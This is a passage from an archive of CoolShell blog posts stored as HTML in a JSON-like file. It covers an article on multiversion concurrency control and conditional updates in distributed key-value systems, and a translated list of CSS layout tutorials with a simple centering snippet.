#008000;\">题外话：</span></strong></h4>\n<p>web2.0后，web应用可谓飞速发展，如今在HTML5发布之际，浏览器的功能被大大强化，我感觉Browser远远在不是一个Browser那么简单了。记得C++之父曾经这样说过JAVA，JAVA不是跨平台，JAVA本身就是一个平台。如今的Browser也本身就是一个平台了，好在这个平台是基于标准的。如果Browser是平台，由于Browser安全沙箱的限制，个人电脑的资源被使用的很少，感觉Browser就是一个NC（Network Computer）？我们居然又回到了Sun最初提出的构想，Sun是不是太强大了些？<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6731.html\"><img alt=\"理解Javascript的闭包\" height=\"150\" src=\"../wp-content/uploads/2012/03/closure-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6731.html\">理解Javascript的闭包</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6441.html\"><img alt=\"Javascript 面向对象编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6441.html\">Javascript 面向对象编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5202.html\"><img alt=\"对象的消息模型\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5202.html\">对象的消息模型</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6668.html\">再谈javascript面向对象编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-3-13 多版本并发控制(MVCC)在分布式系统中的应用.html",
    "content": "<html><body><p>【<span style=\"color: #cc0000;\">感谢 Todd投递本文 – 微博帐号：</span><a href=\"http://weibo.com/weidagang\" target=\"_blank\" title=\"weidagang\">weidagang</a> 】</p>\n<h4>问题</h4>\n<p>最近项目中遇到了一个分布式系统的并发控制问题。该问题可以抽象为：某分布式系统由一个数据中心D和若干业务处理中心L1，L2 … Ln组成；D本质上是一个key-value存储，它对外提供基于HTTP协议的CRUD操作接口。L的业务逻辑可以抽象为下面3个步骤：</p>\n<ol>\n<li>read: 根据keySet {k1, … kn}从D获取keyValueSet {k1:v1, … kn:vn}</li>\n<li>do: 根据keyValueSet进行业务处理，得到需要更新的数据集keyValueSet’ {k1′:v1′, … km’:vm’} (<strong>注</strong>：读取的keySet和更新的keySet’可能不同)</li>\n<li>update: 把keyValueSet’更新到D （<strong>注</strong>：D保证在一次调用更新多个key的原子性）</li>\n</ol>\n<p>在没有事务支持的情况下，多个L进行并发处理可能会导致数据一致性问题。比如，考虑L1和L2的如下执行顺序：</p>\n<ol>\n<li>L1从D读取key:123对应的值100</li>\n<li>L2从D读取key:123对应的100</li>\n<li>L1将key:123更新为100 + 1</li>\n<li>L2将key:123更新为100 + 2</li>\n</ol>\n<p>如果L1和L2串行执行，key:123对应的值将为103，但上面并发执行中L1的执行效果完全被L2所覆盖，实际key:123所对应的值变成了102。</p>\n<p><span id=\"more-6790\"></span></p>\n<h4>解决方案1：基于锁的事务</h4>\n<p>为了让L的处理具有可串行化特性(Serializability)，一种最直接的解决方案就是考虑为D加上基于锁的简单事务。让L在进行业务处理前先锁定D，完成以后释放锁。另外，为了防止持有锁的L由于某种原因长时间未提交事务，D还需要具有超时机制，当L尝试提交一个已超时的事务时会得到一个错误响应。</p>\n<p><img alt=\"\" src=\"http://images.cnblogs.com/cnblogs_com/weidagang2046/362318/o_conditional_update_1.PNG\"/><img alt=\"0915536496-0\" class=\"size-full wp-image-16991 aligncenter\" height=\"749\" src=\"../wp-content/uploads/2012/03/0915536496-0.png\" width=\"769\"/></p>\n<p>本方案的优点是实现简单，缺点是锁定了整个数据集，粒度太大；时间上包含了L的整个处理时间，跨度太长。虽然我们可以考虑把锁定粒度降低到数据项级别，按key进行锁定，但这又会带来其他的问题。由于更新的keySet’可能是事先不确定的，所以可能无法在开始事务时锁定所有的key；如果分阶段来锁定需要的key，又可能出现死锁(Deadlock)问题。另外，按key锁定在有锁争用的情况下并不能解决锁定时间太长的问题。所以，按key锁定仍然存在重要的不足之处。</p>\n<h4>解决方案2：多版本并发控制</h4>\n<p>为了实现可串行化，同时避免锁机制存在的各种问题，我们可以采用基于多版本并发控制（Multiversion concurrency control，MVCC）思想的无锁事务机制。人们一般把基于锁的并发控制机制称成为悲观机制，而把MVCC机制称为乐观机制。这是因为锁机制是一种预防性的，读会阻塞写，写也会阻塞读，当锁定粒度较大，时间较长时并发性能就不会太好；而MVCC是一种后验性的，读不阻塞写，写也不阻塞读，等到提交的时候才检验是否有冲突，由于没有锁，所以读写不会相互阻塞，从而大大提升了并发性能。我们可以借用源代码版本控制来理解MVCC，每个人都可以自由地阅读和修改本地的代码，相互之间不会阻塞，只在提交的时候版本控制器会检查冲突，并提示merge。目前，Oracle、PostgreSQL和MySQL都已支持基于MVCC的并发机制，但具体实现各有不同。</p>\n<p>MVCC的一种简单实现是基于CAS（Compare-and-swap）思想的有条件更新（Conditional Update）。普通的update参数只包含了一个keyValueSet’，Conditional Update在此基础上加上了一组更新条件conditionSet { … data[keyx]=valuex, … }，即只有在D满足更新条件的情况下才将数据更新为keyValueSet’；否则，返回错误信息。这样，L就形成了如下图所示的Try/Conditional Update/(Try again)的处理模式：</p>\n<p><img alt=\"\" src=\"http://images.cnblogs.com/cnblogs_com/weidagang2046/362318/o_mvcc_2.png\"/><img alt=\"0915535U3-1\" class=\"aligncenter wp-image-16989\" height=\"483\" src=\"../wp-content/uploads/2012/03/0915535U3-1.png\" width=\"746\"/></p>\n<p>虽然对单个L来讲不能保证每次都成功更新，但从整个系统来看，总是有任务能够顺利进行。这种方案利用Conditional Update避免了大粒度和长时间的锁定，当各个业务之间资源争用不大的情况下，并发性能很好。不过，由于Conditional Update需要更多的参数，如果condition中value的长度很长，那么每次网络传送的数据量就会比较大，从而导致性能下降。特别是当需要更新的keyValueSet’很小，而condition很大时，就显得非常不经济。</p>\n<p>为了避免condition太大所带来的性能问题，可以为每条数据项增加一个int型的版本号字段，由D维护该版本号，每次数据有更新就增加版本号；L在进行Conditional Update时，通过版本号取代具体的值。</p>\n<p><img alt=\"\" src=\"http://images.cnblogs.com/cnblogs_com/weidagang2046/362318/o_mvcc_3.png\"/><img alt=\"0915533324-2\" class=\"aligncenter wp-image-16990\" height=\"265\" src=\"../wp-content/uploads/2012/03/0915533324-2.png\" width=\"706\"/></p>\n<p>另一个问题是上面的解决方案假设了D是可以支持Conditional Update的；那么，如果D是一个不支持Conditional Update的第三方的key-value存储怎么办呢？这时，我们可以在L和D之间增加一个P作为代理，所有的CRUD操作都必须经过P，让P来进行条件检查，而实际的数据操作放在D。这种方式实现了条件检查和数据操作的分离，但同时降低了性能，需要在P中增加cache，提升性能。由于P是D的唯一客户端；所以，P的cache管理是非常简单的，不必像多客户端情形担心缓存的失效。不过，实际上，据我所知redis和Amazon SimpleDB都已经有了Conditional Update的支持。</p>\n<h4>悲观锁和MVCC对比</h4>\n<p>上面介绍了悲观锁和MVCC的基本原理，但是对于它们分别适用于什么场合，不同的场合下两种机制优劣具体表现在什么地方还不是很清楚。这里我就对一些典型的应用场景进行简单的分析。需要注意的是下面的分析不针对分布式，悲观锁和MVCC两种机制在分布式系统、单数据库系统、甚至到内存变量各个层次都存在。</p>\n<p>### 场景1：对读的响应速度要求高</p>\n<p>有一类系统更新特别频繁，并且对读的响应速度要求很高，如股票交易系统。在悲观锁机制下，写会阻塞读，那么当有写操作时，读操作的响应速度就会受到影响；而MVCC不存在读写锁，读操作是不受任何阻塞的，所以读的响应速度会更快更稳定。</p>\n<p>### 场景2：读远多于写</p>\n<p>对于许多系统来讲，读操作的比例往往远大于写操作，特别是某些海量并发读的系统。在悲观锁机制下，当有写操作占用锁，就会有大量的读操作被阻塞，影响并发性能；而MVCC可以保持比较高且稳定的读并发能力。</p>\n<p>### 场景3：写操作冲突频繁</p>\n<p>如果系统中写操作的比例很高，且冲突频繁，这时就需要仔细评估。假设两个有冲突的业务L1和L2，它们在单独执行是分别耗时t1，t2。在悲观锁机制下，它们的总时间大约等于串行执行的时间：</p>\n<p>T = t1 + t2</p>\n<p>而在MVCC下，假设L1在L2之前更新，L2需要retry一次，它们的总时间大约等于L2执行两次的时间（这里假设L2的两次执行耗时相等，更好的情况是，如果第1次能缓存下部分有效结果，第二次执行L2耗时是可能减小的）：</p>\n<p>T’ = 2 * t2</p>\n<p>这时关键是要评估retry的代价，如果retry的代价很低，比如，对某个计数器递增，又或者第二次执行可以比第一次快很多，这时采用MVCC机制就比较适合。反之，如果retry的代价很大，比如，报表统计运算需要算几小时甚至一天那就应该采用锁机制避免retry。</p>\n<p>从上面的分析，我们可以简单的得出这样的结论：对读的响应速度和并发性要求比较高的场景适合MVCC；而retry代价越大的场景越适合悲观锁机制。</p>\n<h4>总结</h4>\n<p>本文介绍了一种基于多版本并发控制（MVCC）思想的Conditional Update解决分布式系统并发控制问题的方法。和基于悲观锁的方法相比，该方法避免了大粒度和长时间的锁定，能更好地适应对读的响应速度和并发性要求高的场景。</p>\n<h4>参考</h4>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Serializability\">Wikipedia – Serializability</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Compare-and-swap\">Wikipedia – Compare-and-swap</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Multiversion_concurrency_control\">Wikipedia – Multiversion concurrency control</a></li>\n<li><a href=\"http://blogs.msdn.com/b/oldnewthing/archive/2011/04/12/10152296.aspx\">Lock-free algorithms: The try/commit/(try again) pattern</a></li>\n<li><a href=\"http://aws.amazon.com/simpledb/faqs/#Does_Amazon_SimpleDB_support_transactions\">Amazon SimpleDB FAQs – Does Amazon SimpleDB support transactions?</a></li>\n<li><a href=\"http://redis.io/topics/transactions\">redis – Transactions</a></li>\n<li><a href=\"http://simpledbm.googlecode.com/files/mvcc-survey-1.0.pdf\">A Quick Survey of MultiVersion Concurrency Algorithms</a></li>\n<li><a href=\"http://www.cnblogs.com/jobs/archive/2007/11/13/957446.html\">非阻塞算法思想在关系数据库应用程序开发中的使用</a></li>\n</ul>\n<h4>友情推荐</h4>\n<p>本文的图是用我自己开发的<a href=\"http://textdiagram.sinaapp.com\">TextDiagram</a>工具画的，欢迎试用！如果您喜欢，请推荐给朋友，谢谢！<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10910.html\"><img alt=\"分布式系统的事务处理\" height=\"150\" src=\"../wp-content/uploads/2014/01/trade-off-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10910.html\">分布式系统的事务处理</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6470.html\"><img alt=\"由12306.cn谈谈网站性能技术 \" height=\"150\" src=\"../wp-content/uploads/2012/01/12306-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6470.html\">由12306.cn谈谈网站性能技术 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22242.html\"><img alt=\"ETCD的内存问题\" height=\"150\" src=\"../wp-content/uploads/2022/05/etcd-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22242.html\">ETCD的内存问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21672.html\"><img alt=\"我做系统架构的一些原则\" height=\"150\" src=\"../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21672.html\">我做系统架构的一些原则</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6790.html\">多版本并发控制(MVCC)在分布式系统中的应用</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-3-19 CSS 布局40个教程、技巧、例子和最佳实践.html",
    "content": "<html><body><p>【<span style=\"color: #cc0000;\">感谢 Neo 投递本文 – 微博帐号</span>：<a href=\"http://weibo.com/gandalfthegrey\" target=\"_blank\" title=\"_锟_\">_锟_</a> 】</p>\n<p><strong>前言：</strong> 布局是WEB开发一个重要的课题，进入XHTML/CSS后，使用TABLE布局的方式逐渐淡出，CSS布局以众多优点成为主流，本文将介绍40个基于CSS的web布局的资源和教程。文章的出处在<a href=\"http://www.noupe.com/css/css-layouts-40-tutorials-tips-demos-and-best-practices.html\" target=\"_blank\">http://www.noupe.com/css/css-layouts-40-tutorials-tips-demos-and-best-practices.html</a>。文中的不少的例子在一本经典的CSS书籍<a href=\"http://shop.oreilly.com/product/9780596802455.do\">《CCS: The Missing Manual, 2nd Edition》</a>中都可以找到，据我所知，第二版在中国没有翻译出版。你可以从<a href=\"http://www.itpub.net/forum.php?mod=viewthread&amp;tid=1210179&amp;highlight=CSS%2Bthe%2Bmissing%2Bmanual\">这里</a>下载英文版（不过需要注册个用户名）</p>\n<p><strong>正文</strong><br/>\n<strong>基于CSS的布局</strong>能提供更灵活布局方式和更强的用户视觉体验。一些重要技巧和关键点可以帮助初学者理解CSS布局的基础和本质。这也是本文成文的原因 ——找到那些完美的布局，<strong>完全灵活的，等高栏</strong>和工作完美的布局。<br/>\n因此下面这个列表就是我们整理了网络上关于基于CSS布局的一些技巧，教程和最佳实践的列表。<br/>\n当然你也可能对下面这些和CSS相关的主题有兴趣：</p>\n<p><a href=\"http://www.noupe.com/css/9-timeless-3-column-layout-techniques.html&gt;9 Timeless 3 Column Layout Techniques&lt;/a&gt;&lt;/ui&gt;&lt;br /&gt; &lt;ui&gt;&lt;a href=\">The 7 CSS Hacks that we should use</a><br/>\n<a href=\"http://www.noupe.com/css/using-css-to-do-anything-50-creative-examples-and-tutorials.html\">Using CSS to Do Anything: 50+ Creative Examples and Tutorials</a><br/>\n<a href=\"http://www.noupe.com/css/using-css-to-fix-anything-20-common-bugs-and-fixes.html\">Using CSS to Fix Anything: 20+ Common Bugs and Fixes</a></p>\n<p><span id=\"more-6840\"></span></p>\n<h4><strong><span style=\"color: #008000;\">CSS 布局教程</span></strong></h4>\n<p>1-<a href=\"http://woork.blogspot.com/2008/01/three-column-fixed-layout-structure.html\">使用CSS完成三栏固定布局结构</a>– 这篇文章解释了如何实现一个基于的HTML/CSS来设计一个简单的带有基本要素（顶部的logo条，导航条，文本区，定义分类的中部栏，右边侧栏插入google的120X600的广告区）的固定三栏页面布局。</p>\n<p><img alt=\"\" class=\"size-full wp-image-6843 aligncenter\" height=\"297\" src=\"../wp-content/uploads/2012/03/css-layouts.gif\" width=\"450\"/></p>\n<p>2-<a href=\"http://woork.blogspot.com/2007/10/design-page-layout-using-css.html\">使用CSS设计页面布局</a>– 如何使用CSS文件来为你的站点设计页面布局。<br/>\n<img alt=\"\" class=\"size-full wp-image-6844 aligncenter\" height=\"200\" src=\"../wp-content/uploads/2012/03/css-layouts2.gif\" width=\"450\"/></p>\n<p>3-<a href=\"http://css-tricks.com/how-to-create-a-horizontally-scrolling-site/\">如何创建一个水平布局的站点</a>– 创建不同于常规的水平布局的站点技术（译者注：水平布局，客户体验也就仁者见仁了）</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-6845\" height=\"190\" src=\"../wp-content/uploads/2012/03/css-layouts3.gif\" width=\"450\"/><br/>\n例子<a href=\"http://css-tricks.com/examples/HorzScrolling\">查看这里</a> |<a href=\"http://css-tricks.com/examples/HorzScrolling.zip\">下载</a></p>\n<p>4-<a href=\"http://css-tricks.com/super-simple-two-column-layout/\">超级简单的两栏布局</a>– 创建不同于常规的水平布局的站点技术（译者注：这里是原作者笔误吧和上面的内容一样）.</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-6849\" height=\"100\" src=\"../wp-content/uploads/2012/03/css-layouts4.gif\" width=\"450\"/></p>\n<p>例子<a href=\"http://css-tricks.com/examples/SuperSimpleTwoColumn\">查看这里</a> <a href=\"http://css-tricks.com/examples/SuperSimpleTwoColumn.zip\">下载</a></p>\n<p>5-<a href=\"http://www.456bereastreet.com/lab/developing_with_web_standards/csslayout/2-col/\">简单两栏CSS布局</a>– 这是一个创建简单两栏布局的教程。这种布局包含了一个标题区，一个水平导航条，主内容区，边侧栏，和页脚区。并且这个布局是水平居中的。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts6.gif\" width=\"450\"/></p>\n<p>例子<a href=\"http://www.456bereastreet.com/lab/developing_with_web_standards/csslayout/2-col/finished.html\">查看这里</a></p>\n<p>6-<a href=\"http://dnevnikeklektika.com/en/the-holy-grail-layout-3-columns-and-a-lot-less-problems\">圣杯布局(The holy grail layout)</a> – 3栏布局会有一些问题 ，这篇文章讨论了一种三栏布局——两栏固定宽度边侧栏加上一栏变宽中栏布局，保证了页面的良好结构和清晰。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"362\" src=\"../wp-content/uploads/2012/03/css-layouts7.gif\" width=\"450\"/></p>\n<p>例子<a href=\"http://dnevnikeklektika.com/css/3ColLayout/working.html\">查看这里</a></p>\n<p>7-<a href=\"http://www.simplebits.com/notebook/2004/09/08/centering.html\">CSS居中101</a>– 如何使用CSS完成居中一个固定宽度的布局</p>\n<p>使用CSS，通过下面两条规则完成对id为container的DIV所包含的内容居中</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;body&gt;\n &lt;div id=\"container\"&gt; ...entire layout goes here...\n&lt;/div&gt;\n&lt;/body&gt;\n</pre>\n<pre class=\"EnlighterJSRAW\">\nbody {\n    text-align: center;\n}\n#container {\n    margin: 0 auto;\n    width: xxxpx;\n    text-align: left;\n}\n</pre>\n<p>8-<a href=\"http://www.subcide.com/tutorials/csslayout/index.aspx\">从头创建CSS布局</a>– 这个指南通过创建一个全功能的 CSS布局来一步步教你入门CSS布局。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"255\" src=\"../wp-content/uploads/2012/03/css-layouts9.gif\" width=\"450\"/></p>\n<p>9-<a href=\"http://www.alistapart.com/articles/multicolumnlayouts/\">非主流！多栏布局</a>– 多栏布局，等高栏（每一列的高度都相等），固定或变宽中央区，简洁标记，CSS 。(译者注：原文作者的图配的和上图一样)</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"255\" src=\"../wp-content/uploads/2012/03/css-layouts9.gif\" width=\"450\"/></p>\n<p>例子<a href=\"http://www.alistapart.com/d/multicolumnlayouts/3ColLiquid.html\">查看这里</a></p>\n<p>10- <a href=\"http://www.positioniseverything.net/articles/onetruelayout/\">创建天下无双的CSS布局</a>– 高灵活性布局,等高栏，跨栏垂直摆放元素。本文告诉你通过何等手段完成这些目标，并使用它们创建天下无双的CSS布局（译者注:原文是One True Layout ，不知道怎么翻译，就天下无双吧。）</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"180\" src=\"../wp-content/uploads/2012/03/css-layouts22.gif\" width=\"450\"/></p>\n<p><a href=\"http://www.positioniseverything.net/articles/onetruelayout/examples\">查看这里</a></p>\n<p>11-<a href=\"http://nettuts.com/site-builds/from-psd-to-html-building-a-set-of-website-designs-step-by-step/\">从PSD到HTML，手把手完成WEB设计</a>-从Photoshop到完整HTML，全过程手把手教会你。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"341\" src=\"../wp-content/uploads/2012/03/css-layouts34.jpg\" width=\"450\"/></p>\n<p>例子<a href=\"http://nettuts.s3.amazonaws.com/017_Creatif/Site/index.html\">查看这里</a> | <a href=\"http://nettuts.s3.amazonaws.com/017_Creatif/Site_Download.zip\">下载</a></p>\n<p>12- <a href=\"http://tutorialblog.org/5-tips-for-coding-xhtmlcss-layouts/\">5个XHTML/CSS技巧</a> – 5个CSS技巧帮助你完成从基于表格的布局到基于CSS的布局。</p>\n<p>13-<a href=\"http://veerle.duoh.com/index.php/blog/comments/designing_a_css_based_template_part_i/\">设计一个基于CSS的模板</a> – 这是一个教你创建基于CSS的模板页的基础教程。这个教程由下面几个部分构成：第一部分覆盖了在Photoshop CS*中的创建导航条按钮，第二部分：创建背景接下来的清单是标题和页面布局，最后的部分在XHTML和CSS中实现。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"250\" src=\"../wp-content/uploads/2012/03/css-layouts35.jpg\" width=\"450\"/></p>\n<p><a href=\"http://homepage.mac.com/vpieters/css_step2/step2_whooshes.mov.zip\">下载</a></p>\n<p>14-<a href=\"http://www.sitepoint.com/article/breaking-out-of-the-box\">使用CSS布局跳出常规布局</a>– 如果你理解了基于表格布局的工作方式，你能通过合并或拆分表格创建你随心所欲的布局。就这个目标（同时支持灵活性和可维护性），CSS能够提供比基于表格更多地东西。Jina Bolton的教程解释如何达到这个目标。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"250\" src=\"../wp-content/uploads/2012/03/css-layouts36.gif\" width=\"450\"/></p>\n<p>15-<a href=\"http://www.webreference.com/authoring/style/sheets/layout/advanced/\">高级CSS教程:手把手</a>– 这个教程的终极目标创建一个CSS布局，这个CSS布局精确地重组了原有使用table的WebReference.com的布局。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"263\" src=\"../wp-content/uploads/2012/03/css-layouts29.gif\" width=\"450\"/></p>\n<p>16-<a href=\"http://snook.ca/archives/html_and_css/six_keys_to_understanding_css_layouts/\">了解CSS布局的6个关键要素</a>-本文讲述了6件基于CSS布局需要了解的事情：盒模型(Box Model)，浮动栏(Floated Columns) （译者注：float是WEB布局最重要的一个属性了）。使用Em来设置尺寸（Sizing Using Ems），图片替换（Image Replacement）,浮动导航和Sprintes。</p>\n<p>17-<a href=\"http://wisdump.com/design/are-you-making-these-common-blog-layout-mistakes/\">你会犯这些常见的博客布局错误吗？</a>-讨论4个博客布局中常见而且易修复的错误。</p>\n<p>18-<a href=\"http://www.htmldog.com/guides/cssadvanced/layout/\">页面布局</a>-CSS页面布局中的浮动元素和定位元素实践指导。</p>\n<p>你可以查看这些例子：<a href=\"http://www.htmldog.com/examples/positioning4.html\">Absolute Position within a relative box</a><a href=\"http://www.htmldog.com/examples/float2.html\"> two floated boxes</a>和<a href=\"http://www.htmldog.com/examples/pagelayout3.html\"> using a border to provide the background for a column</a></p>\n<p>19-<a href=\"http://leftjustified.net/site-in-an-hour/\">Site in an Hour</a>– 使用复杂CCS布局完成简单的工作。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"250\" src=\"../wp-content/uploads/2012/03/css-layouts40.jpg\" width=\"450\"/></p>\n<h4><strong><span style=\"color: #008000;\">关于布局的最佳资源</span></strong></h4>\n<p>下面的大多数这些资源不需要许可就能直接使用，然而，其中的一些需要先发邮件确认一下是否可以使用这些资源。因此，在使用之前最好先检查资源的版权信息。</p>\n<p>20-<a href=\"http://www.maxdesign.com.au/presentation/page_layouts/\">简单CSS页面布局</a>– 这里有一套2栏和3栏的CSS布局。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"255\" src=\"../wp-content/uploads/2012/03/css-layouts10.jpg\" width=\"450\"/></p>\n<p>你可以通过这里查看这些样例<a href=\"http://www.maxdesign.com.au/presentation/process/example23.htm\"> Liquid three column layout</a>,<a href=\"http://www.maxdesign.com.au/presentation/page_layouts/single04.htm\"> Left aligned, set width</a> and <a href=\"http://www.maxdesign.com.au/presentation/liquid/example13.htm\">Liquid insanity</a>.</p>\n<p>21-<a href=\"http://matthewjamestaylor.com/blog/perfect-3-column.htm\">完美的三栏变宽布局（百分比定宽度）The Perfect 3 Column Liquid Layout (Percentage widths)</a>– 没有CSS hack（译者注：不知道怎么翻译，点击<a href=\"http://baike.baidu.com/view/1119452.htm\">这里</a>查看解释）. 良好地收索引擎优化.无图. 无Javascript. 跨浏览器 和IPHONE设备兼容</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"370\" src=\"../wp-content/uploads/2012/03/css-layouts11.gif\" width=\"450\"/></p>\n<p>你可以通过这里查看样例 <a href=\"http://www.maxdesign.com.au/presentation/process/example23.htm\">Liquid three column layout</a>, <a href=\"http://www.maxdesign.com.au/presentation/page_layouts/single04.htm\">Left aligned, set width</a> 和 <a href=\"http://www.maxdesign.com.au/presentation/liquid/example13.htm\">Liquid insanity</a>. (译者注：这里的链接和上面重复了，哎，原文的错误吧)</p>\n<p>22-<a href=\"http://www.intensivstation.ch/en/templates/\">CSS模板和样例</a></p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"380\" src=\"../wp-content/uploads/2012/03/css-layouts21.gif\" width=\"450\"/></p>\n<p>你可以通过这里查看这些样例<a href=\"http://www.intensivstation.ch/files/en_templates/temp06.html\"> 3 columns fixed</a> <a href=\"http://www.intensivstation.ch/files/en_templates/temp06.html\">centered</a>, <a href=\"http://www.intensivstation.ch/files/en_templates/temp11.html\">fixed Box totally</a><a href=\"http://www.intensivstation.ch/files/en_templates/temp11.html\">centered</a> and <a href=\"http://www.intensivstation.ch/files/en_templates/temp03.html\">3 columns, all</a><a href=\"http://www.intensivstation.ch/files/en_templates/temp03.html\">dynamic</a></p>\n<p>23-<a href=\"http://layouts.ironmyers.com/\">IM 布局</a>– IM 布局是一种简单地的CSS布局系统，IM布局提供了全A级的浏览器的支持。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"250\" src=\"../wp-content/uploads/2012/03/css-layouts24.gif\" width=\"450\"/></p>\n<p>你可以通过这里查看这些样例:<a href=\"http://www.ironmyers.com/examples/three_column_layout.html\"> The Holy Grail 3 Column Layout</a>, <a href=\"http://www.ironmyers.com/examples/classic_blog.html\">The Classic Blog Layout </a>和<a href=\"http://www.ironmyers.com/examples/multi_column.html\"> The Multi Column Layout.</a></p>\n<p>24-<a href=\"http://www.cssplay.co.uk/layouts/index.html\">CSSplay </a>– CSS布局列表</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"87\" src=\"../wp-content/uploads/2012/03/css-layouts25.gif\" 